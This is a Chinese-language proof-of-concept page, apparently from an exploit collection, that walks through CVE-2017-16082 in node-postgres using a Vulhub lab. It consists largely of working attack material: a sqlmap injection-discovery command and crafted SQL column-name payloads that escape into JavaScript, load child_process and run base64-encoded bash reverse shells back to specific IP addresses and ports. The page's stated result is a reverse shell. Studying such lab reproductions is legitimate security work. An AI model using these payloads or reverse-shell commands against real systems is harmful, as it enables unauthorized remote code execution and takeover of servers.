Awesome-POC/Web应用漏洞/node-postgres 代码执行漏洞 CVE-2017-16082.md
2024-11-06 14:10:36 +08:00

54 lines
2.1 KiB
Markdown
Raw Blame History

This file contains ambiguous Unicode characters

This file contains Unicode characters that might be confused with other characters. If you think that this is intentional, you can safely ignore this warning. Use the Escape button to reveal them.

# node-postgres 代码执行漏洞 CVE-2017-16082
## 漏洞描述
node-postgres在处理类型为`Row Description`的postgres返回包时将字段名拼接到代码中。由于没有进行合理转义导致一个特殊构造的字段名可逃逸出代码单引号限制造成代码执行漏洞。
参考链接:
- https://www.leavesongs.com/PENETRATION/node-postgres-code-execution-vulnerability.html
- https://node-postgres.com/announcements#2017-08-12-code-execution-vulnerability
- https://zhuanlan.zhihu.com/p/28575189
## 环境搭建
Vulhub编译及运行环境
```
docker-compose build
docker-compose up -d
```
## 漏洞复现
成功运行后,访问`http://your-ip:3000/?id=1`即可查看到id为1的用户信息。
![image-20220228110115261](images/202202281101307.png)
用sqlmap即可发现此处存在注入点且数据库为postgres
```
python sqlmap.py -u http://your-ip:3000/?id=1 --dbs
```
![image-20220228110250087](images/202202281102191.png)
那么我们就可以猜测这里存在node-postgres的代码执行漏洞。编写我想执行的命令`echo YmFzaCAtaSA+JiAvZGV2L3RjcC8xNzIuMTkuMC4xLzIxIDA+JjE=|base64 -d|bash`然后适当分割每段长度不超过64字符后替换在如下payload中
```
SELECT 1 AS "\']=0;require=process.mainModule.constructor._load;/*", 2 AS "*/p=require(`child_process`);/*", 3 AS "*/p.exec(`echo YmFzaCAtaSA+JiAvZGV2L3R`+/*", 4 AS "*/`jcC8xOTIuMTY4LjE3NC4xMjgvOTk5OSAwPiYxCgo= |base64 -d|bash`)//"
SELECT 1 AS "\']=0;require=process.mainModule.constructor._load;/*", 2 AS "*/p=require(`child_process`);/*", 3 AS "*/p.exec(`echo L2Jpbi9iYXNoIC1pID4mIC9kZXYvd`+/*", 4 AS "*/`GNwLzEwMS40Mi4yMzcuNjEvMjMzMyAwPiYx |base64 -d|bash`)//"
```
将上述payload编码后发送
![image-20220228111130445](images/202202281111534.png)
成功执行命令如反弹shell
![image-20220228111037961](images/202202281110043.png)
因为复现过程中坑比较多payload生成与测试过程中如果出现错误还请多多阅读[P师傅的这篇文章](https://www.leavesongs.com/PENETRATION/node-postgres-code-execution-vulnerability.html),从原理上找到问题所在。